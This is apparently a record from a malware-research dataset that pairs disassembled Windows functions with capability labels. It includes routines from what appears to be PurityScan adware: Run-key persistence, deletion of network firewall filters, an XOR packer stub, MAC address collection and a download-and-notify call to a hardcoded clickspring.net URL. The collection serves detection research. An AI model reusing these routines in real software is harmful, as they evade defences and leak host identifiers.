joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4431de
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x45f04c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.004374c0
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004374c0
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x443255
cmp word [ecx], dx
je 0x443255
mov eax, dword [0x45070c]
push edi
dec eax
push eax
push 0x4505f8
call fcn.0044317d
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4432c8
cmp word [eax], dx
je 0x4432c8
mov eax, dword [edi]
test eax, eax
je 0x443279
cmp word [eax], dx
je 0x443279
lea eax, [ebp - 0x10]
push eax
call fcn.00442b60
jmp 0x443282
lea eax, [ebp - 0x10]
push eax
call fcn.00442bfb
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4432f2
mov eax, dword [0x4505f4]
push dword [ebp - 0x14]
dec eax
push eax
push 0x4502e8
call fcn.0044317d
add esp, 0xc
test al, al
je 0x4432f2
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4432bd
cmp word [eax], di
je 0x4432bd
lea eax, [ebp - 0x10]
push eax
call fcn.00442b60
pop ecx
jmp 0x4432f4
lea eax, [ebp - 0x10]
push eax
call fcn.00442bfb
jmp 0x4432ba
mov eax, dword [edi]
test eax, eax
je 0x4432df
cmp word [eax], dx
je 0x4432df
lea eax, [ebp - 0x10]
push eax
call fcn.00442b15
pop ecx
jmp 0x4432f2
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4433bd
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00443002
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4433bd
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4433bd
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4433bd
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x44334a
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0043952c
test ebx, ebx
je 0x4433b8
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0043952c
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4433bd
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4433bd
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0044717d
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4433bf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00422b0f
leave
ret
Function at 0x447815
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00447791
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x447984
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x447984
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x447939
jg 0x447871
test eax, eax
je 0x44792f
push 1
push 0x1000
call fcn.00437e2b
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x447894
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x447926
push 0x8000
push ebx
call fcn.00435158
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4478bd
jg 0x4478b8
cmp ecx, 0x1000
jb 0x4478bd
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0043a179
add esp, 0x10
cmp eax, 0xffffffff
je 0x447902
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4478b8
jl 0x4478e9
test ecx, ecx
jne 0x4478aa
push dword [ebp - 0xc]
push ebx
call fcn.00435158
push esi
call fcn.00437932
add esp, 0xc
xor ebx, ebx
jmp 0x447992
cmp byte [edi + 0x24], 0
je 0x447919
cmp dword [edi + 0x20], 5
jne 0x447919
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x447924
mov ebx, dword [edi + 0x18]
jmp 0x447926
xor ebx, ebx
push esi
call fcn.00437932
pop ecx
jmp 0x447992
test ecx, ecx
jg 0x4478fb
jl 0x447939
test eax, eax
jae 0x4478fb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0043c08f
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x447959
cmp byte [edi + 0x1c], 0
je 0x4478fb
jmp 0x44798a
push ebx
call fcn.004410d9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4478fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x447992
cmp byte [edi + 0x1c], 0
je 0x44798f
mov ebx, dword [edi + 0x18]
jmp 0x447992
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0043c08f
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x447ec0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x447eed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x447eed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x100010d0
Capabilities:
Delete network filter via wfp api
Enumerate network filters via wfp api

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44
push ebx
push esi
push edi
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0
push 0
push 0xa
push 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.fwpuclnt.dll_FwpmEngineOpen0]
mov ebx, eax
test ebx, ebx
jne 0x10001236
mov dword [esp + 0x1c], eax
lea ecx, [ecx]
mov esi, dword [eax + 0x10002080]
mov eax, dword [0x1000300c]
mov edi, dword [esp + 0xc]
test eax, eax
jne 0x10001153
push str.RtlZeroMemory
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000300c], eax
test eax, eax
je 0x1000115c
push 0x30
lea ecx, [esp + 0x24]
push ecx
call eax
movdqu xmm0, xmmword [esi]
lea eax, [esp + 0x18]
mov dword [esp + 0x20], 0
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x38], 1
push eax
push edi
movdqu xmmword [esp + 0x30], xmm0
mov dword [esp + 0x44], 2
mov dword [esp + 0x54], 0xffffffff
call dword [sym.imp.fwpuclnt.dll_FwpmFilterCreateEnumHandle0]
mov ebx, eax
test ebx, ebx
jne 0x10001236
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
push dword [esp + 0x24]
push dword [esp + 0x1c]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterEnum0]
mov ebx, eax
test ebx, ebx
jne 0x10001214
mov edi, dword [esp + 0x10]
test edi, edi
je 0x10001214
mov edx, dword [esp + 0x14]
test edx, edx
je 0x10001214
xor esi, esi
test edx, edx
je 0x10001209
mov eax, dword [edi + esi*4]
mov ecx, dword [eax + 0x1c]
test ecx, ecx
je 0x100011e6
cmp dword [ecx], 0
jne 0x10001204
push dword [eax + 0x8c]
push dword [eax + 0x88]
push dword [esp + 0x14]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterDeleteById0]
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
inc esi
cmp esi, edx
jb 0x100011d7
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.fwpuclnt.dll_FwpmFreeMemory0]
push dword [esp + 0x18]
push dword [esp + 0x10]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterDestroyEnumHandle0]
mov eax, dword [esp + 0x1c]
add eax, 4
mov dword [esp + 0x1c], eax
cmp eax, 8
jb 0x10001120
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10001245
push eax
call dword [sym.imp.fwpuclnt.dll_FwpmEngineClose0]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push 0
lea eax, [ebp - 0x200]
push 2
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jl 0x40106a
lea eax, [ebp - 0x200]
push str.PurityScan
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x200]
pop ecx
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea eax, [ebp - 0x200]
push str.PurityScan.lnk
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x427028
push eax
push dword [ebp + 8]
call fcn.00408eed
add esp, 0x14
leave
ret

Function at 0x40106c
Capabilities:
Create directory
Get common file path
Query or enumerate registry value
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
mov edi, dword [ebp + 8]
push str.C:Program_Files
push edi
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp + 8]
pop ecx
mov esi, 0x200
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
mov dword [ebp - 8], esi
mov dword [ebp - 4], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010d7
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push edi
push eax
push 0
push str.ProgramFilesDir
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
push str.PurityScan
push edi
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
pop ecx
pop ecx
push edi
call esi
test eax, eax
jne 0x40111b
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x40111b
lea eax, [ebp - 0x208]
push eax
call esi
and byte [edi], 0
xor al, al
jmp 0x401126
lea eax, [ebp - 0x208]
push eax
call esi
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x40112a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3104c
call fcn.004097b0
push esi
push edi
lea eax, [ebp - 0x30c]
xor edi, edi
push 0x200
push eax
push edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [ebp - 0x30c]
push 0x4270a4
push eax
call esi
push 0x4270a0
mov dword [ebp - 4], eax
push dword [ebp + 8]
call esi
add esp, 0x10
cmp dword [ebp - 4], edi
mov dword [ebp + 8], eax
je 0x40125d
cmp eax, edi
je 0x40125d
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push ebx
push dword [ebp - 4]
mov ebx, 0x30d40
lea eax, [ebp - 0x3104c]
push ebx
push 1
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
mov dword [ebp - 8], eax
jle 0x4011eb
push dword [ebp + 8]
lea eax, [ebp - 0x3104c]
push dword [ebp - 8]
push 1
push eax
call esi
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add dword [ebp - 0xc], eax
lea eax, [ebp - 0x3104c]
push ebx
push 1
push eax
call edi
add esp, 0x20
mov dword [ebp - 8], eax
test eax, eax
jg 0x4011bb
push 2
push 0xffffff00
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fseek]
push dword [ebp - 4]
mov ebx, 0x100
lea eax, [ebp - 0x10c]
push ebx
push 1
push eax
call edi
add esp, 0x1c
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x28
xor edx, edx
pop ecx
push dword [ebp + 8]
div ecx
lea eax, [ebp - 0x3104c]
shl edx, 9
push edx
push 1
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push ebx
push 1
push eax
call esi
push dword [ebp - 4]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
call esi
push dword [ebp + 8]
call esi
add esp, 0x28
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401261
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b1
push str.ContentService
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push 0x42a944
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x4012e6
Capabilities:
Delete file
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push dword [ebp + 8]
call fcn.004012bc
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea eax, [ebp - 0x200]
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x200]
push 0x427128
push eax
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservs.exe
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_remove]
lea eax, [ebp - 0x400]
push eax
call edi
mov ebx, 0x200
lea eax, [ebp - 0x200]
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x200]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservn.exe
push eax
call esi
lea eax, [ebp - 0x400]
push eax
call edi
add esp, 0x10
test eax, eax
pop edi
pop esi
pop ebx
jl 0x4013ae
mov dword [0x42a934], 1
leave
ret

Function at 0x401564
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or byte [ebp - 0xa], 0xff
mov byte [ebp - 0x1c], 0xac
mov byte [ebp - 0x1b], 0x90
mov byte [ebp - 0x1a], 0x99
mov byte [ebp - 0x19], 0x8b
mov byte [ebp - 0x18], 0x88
mov byte [ebp - 0x17], 0x9e
mov byte [ebp - 0x16], 0x8d
mov byte [ebp - 0x15], 0x9a
mov byte [ebp - 0x14], 0xa3
mov byte [ebp - 0x13], 0xb5
mov byte [ebp - 0x12], 0x96
mov byte [ebp - 0x11], 0x92
mov byte [ebp - 0x10], 0x92
mov byte [ebp - 0xf], 0x86
mov byte [ebp - 0xe], 0xac
mov byte [ebp - 0xd], 0x8a
mov byte [ebp - 0xc], 0x8d
mov byte [ebp - 0xb], 0x99
xor ecx, ecx
lea eax, [ebp - 0x1c]
mov dl, 0xac
not dl
inc ecx
mov byte [eax], dl
mov dl, byte [ebp + ecx - 0x1c]
lea eax, [ebp + ecx - 0x1c]
cmp dl, 0xff
jne 0x4015bd
lea eax, [ebp - 4]
push ebx
xor ebx, ebx
push eax
push 0xf003f
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x80000001
mov byte [ebp + ecx - 0x1c], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015fe
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401620
cmp dword [0x42a930], ebx
jne 0x401620
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
push 0x4013b0
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x42a930], eax
pop ebx
leave
ret

Function at 0x401623
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push 0x200
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
test eax, eax
je 0x40169d
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x200]
push 0x427128
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x42ab44
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x4270a4
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x20
test eax, eax
je 0x40169d
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x4016a1
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
and byte [ebp - 0x204], 0
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x204]
push eax
push 0x200
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x204]
push str.rs.exe
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x204]
push 0x4270a0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x401745
push esi
push 0x10008
push 1
push 0x417020
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [ebp - 4]
push eax
push 0x927c0
lea eax, [ebp - 0x204]
push 0x42a938
push eax
call fcn.004090ef
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.MSVCRT.dll_remove]
add esp, 0x28
pop edi
pop esi
leave
ret
Function at 0x40918f
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
xor ebx, ebx
push dword [0x428e0c]
mov byte [ebp - 1], bl
xor esi, esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x4091e8
lea eax, [ebp - 0x10]
push eax
mov eax, dword [str.0602000000240000525341310002000001000100a9959a031b5ae483402a81a758afd66183db74517df889e42099f84cfc8096e783923134ca536e2671208da3e411983dcf92d850deb6be982715ffc845e133a9]
add eax, esi
push 0x428f44
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
mov eax, esi
mov cl, byte [ebp - 0x10]
push dword [0x428e0c]
cdq
sub eax, edx
sar eax, 1
inc esi
mov byte [ebp + eax - 0x78], cl
inc esi
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp esi, eax
jb 0x4091af
mov eax, esi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
cdq
sub eax, edx
push ebx
mov esi, eax
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
sar esi, 1
call edi
test eax, eax
jne 0x409228
push 8
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
call edi
test eax, eax
jne 0x409228
push str.CryptAcquireContext
call fcn.0040912c
pop ecx
xor al, al
jmp 0x4092d0
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
lea eax, [ebp - 0x78]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x40924d
push str.CryptImportKey
call fcn.0040912c
pop ecx
jmp 0x4092be
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x40926c
push str.CryptCreateHash
jmp 0x409245
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x409287
push str.CryptHashData
jmp 0x4092aa
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptVerifySignatureA]
test eax, eax
je 0x4092a5
mov byte [ebp - 1], 1
jmp 0x4092b0
push str.CryptVerifySignature
call fcn.0040912c
pop ecx
cmp dword [ebp - 0xc], ebx
je 0x4092be
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], ebx
je 0x4092cd
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409b40
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov dword [0x42b2c0], eax
mov eax, dword [esp + 0x10]
mov dword [0x42b2c4], ecx
mov dword [0x4291e4], eax
mov eax, dword [0x42b548]
test eax, eax
mov dword [0x4291e8], edx
jne 0x409b90
lea ecx, [esp + 8]
push ecx
push eax
push eax
push 0x409a10
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x42b548], eax
neg eax
sbb eax, eax
neg eax
dec eax
ret
lea edx, [esp + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_GetExitCodeThread]
test eax, eax
je 0x409bb3
mov eax, dword [esp + 4]
cmp eax, 0x103
je 0x409bb3
neg eax
sbb eax, eax
and al, 0xfe
inc eax
ret
xor eax, eax
ret
Function at 0x40b050
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_malloc]
push edi
mov dword [esp + 0x10], 0x280
mov byte [ebp], 0
mov eax, dword [esp + 0x10]
push eax
call esi
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40b0af
mov ecx, dword [esp + 0x10]
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x40b0c8
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
jmp 0x40b06d
push str.GetMA:_could_not_malloc
call fcn.0040b180
add esp, 4
mov byte [ebp], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
test eax, eax
je 0x40b0e6
push eax
push str.getMA:_GetAdaptersInfo
call fcn.0040b340
add esp, 8
mov byte [ebp], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ebp, ebp
mov cl, byte [0x42a938]
xor edx, edx
mov dword [esp + 0x15], edx
mov byte [esp + 0x14], cl
mov word [esp + 0x19], dx
test ebp, ebp
mov byte [esp + 0x1b], dl
jbe 0x40b11b
xor eax, eax
lea ecx, [esp + 0x14]
mov al, byte [ebx + ebp + 0x194]
push eax
push str.__.2X
push ecx
jmp 0x40b12f
xor edx, edx
lea eax, [esp + 0x14]
mov dl, byte [ebx + ebp + 0x194]
push edx
push str._.2X
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
cmp ebp, 6
rep movsb byte es:[edi], byte [esi]
jb 0x40b0e8
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x40b1a0
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0xa04
lea eax, [esp]
push esi
mov esi, dword [esp + 0xa14]
push 0
push 0
push eax
push 0x400
push esi
push 0
push 0x1300
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
test eax, eax
je 0x40b27f
push edi
mov edi, dword [esp + 0xa14]
test edi, edi
je 0x40b1fd
mov ecx, dword [esp + 0xa10]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x10]
push 0x429658
push edx
call esi
add esp, 0xc
jmp 0x40b220
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xa10]
push eax
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x18]
push str._s___d_:__s
push edx
call esi
add esp, 0x14
lea eax, [esp + 0x60c]
lea ecx, [esp + 0xc]
push eax
push ecx
call fcn.0040b290
mov edx, dword [0x42b2c4]
mov ecx, dword [0x42b2c0]
add esp, 8
lea eax, [esp + 0x60c]
push edx
push eax
push edi
push ecx
lea edx, [esp + 0x21c]
push str.http:__www.clickspring.net_install_notify.php_pid_dmodulefpv200result_dmessage_sreferer_d
push edx
call esi
add esp, 0x18
lea eax, [esp + 0x40c]
lea ecx, [esp + 0x20c]
push 0
push 0
push 0x200
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToCacheFileA
pop edi
pop esi
add esp, 0xa04
ret